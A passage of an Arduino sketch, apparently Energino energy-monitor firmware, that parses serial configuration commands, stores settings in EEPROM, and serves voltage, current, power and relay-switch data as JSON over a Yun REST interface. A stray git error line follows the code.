      else {
        continue;
      }
    }
    else if (i == 1) {
      cmd = chr;
    }
    else{
      inputBytes[i-2] = chr;
    }
  }
  // null-terminate input buffer
  inputBytes[i] = '\0';
  // execute command
  if (cmd == 'R') {
    reset();
  }
  else if (cmd == 'F') {
    long value = atol(inputBytesPtr);
    if (value >= 0) {
      settings.feedid = value;
    }
  }
  else if (cmd == 'K') {
    strncpy(settings.apikey, inputBytes,49);
    settings.apikey[48] = '\0';
  }
  else if (cmd == 'U') {
    strncpy(settings.feedsurl, inputBytes,60);
    settings.feedsurl[59] = '\0';
  }
  else {
    int value = atoi(inputBytesPtr);
    if (value < 0) {
      return;
    }
    if (cmd == 'P') {
      resetSleep(value);
    }
    else if (cmd == 'A') {
      settings.r1 = value;
    }
    else if (cmd == 'B') {
      settings.r2 = value;
    }
    else if (cmd == 'C') {
      settings.offset = value;
    }
    else if (cmd == 'D') {
      settings.sensitivity = value;
    }
    else if (cmd == 'S') {
      if (value > 0) {
        Serial.println("@switch: high");
        digitalWrite(RELAYPIN, HIGH);
      }
      else {
        Serial.println("@switch: low");
        digitalWrite(RELAYPIN, LOW);
      }
    }
  }
  eeprom_write_block((const void*)&settings, (void*)0, sizeof(settings));
}

void dumpToSerial() {
  // Print data also on the serial
  Serial.print("#");
  Serial.print(MAGIC);
  Serial.print(",");
  Serial.print(REVISION);
  Serial.print(",");
  Serial.print(VFinal,3);
  Serial.print(",");
  Serial.print(IFinal,3);
  Serial.print(",");
  Serial.print(VFinal * IFinal,3);
  Serial.print(",");
  Serial.print(digitalRead(RELAYPIN));
  Serial.print(",");
  Serial.print(delta);
  Serial.print(",");
  Serial.print(sleep);
  Serial.print(",");
  Serial.print(settings.feedid);
  Serial.print(",");
  Serial.print(settings.feedsurl);
  Serial.print(",");
  Serial.println(settings.apikey);
}

float scaleVoltage(float voltage) {
  float tmp = ( voltage * 5 * (settings.r1 + settings.r2)) / ( settings.r2 * 1024 );
  return (tmp > 0) ? tmp : 0.0;
}

float scaleCurrent(float current) {
  float tmp = ( current * 5000 / 1024  - settings.offset) / settings.sensitivity;
  return (tmp > 0) ? tmp : 0.0;
}

void resetSleep(long value) {
  sleep = (value * 4400) / 1000;
  settings.period = value;
}

void process(YunClient client) {

  String command = client.readStringUntil('/');
  command.trim();

  if (command == "datastreams") {

    String subCommand = client.readStringUntil('/');
    subCommand.trim();

    if (subCommand == "current") {
      sendReply(client,subCommand,IFinal);
      return;
    }

    if (subCommand == "voltage") {
      sendReply(client,subCommand,VFinal);
      return;
    }

    if (subCommand == "power") {
      sendReply(client,subCommand,VFinal*IFinal);
      return;
    }

    if (subCommand == "switch") {
      char c = client.read();
      if (c == '0') {
        digitalWrite(RELAYPIN, LOW);
      }
      if (c == '1') {
        digitalWrite(RELAYPIN, HIGH);
      }
      sendReply(client,subCommand,digitalRead(RELAYPIN));
      return;
    }

    client.print(F("{\"version\":\"1.0.0\","));
    client.print(F("\"datastreams\":["));
    client.print(F("{\"id\":\"voltage\",\"current_value\":"));
    client.print(VFinal);
    client.println(F("},"));
    client.print(F("{\"id\":\"current\",\"current_value\":"));
    client.print(IFinal);
    client.println(F("},"));
    client.print(F("{\"id\":\"power\",\"current_value\":"));
    client.print(VFinal * IFinal);
    client.println(F("},"));
    client.print(F("{\"id\":\"switch\",\"current_value\":"));
    client.print(digitalRead(RELAYPIN));
    client.println(F("}"));
    client.println(F("]"));
    client.println(F("}"));
  }

}

void sendReply(YunClient client, String cmd, float value) {
  client.print(F("{\"version\":\"1.0.0\","));
  client.print(F("\"id\":\""));
  client.print(cmd);
  client.print(F("\",\"current_value\":"));
  client.print(value);
  client.println(F("}"));
}

error: pathspec 'sketches/EnerginoPOE/EnerginoPOE.ino' did not match any file(s) known to git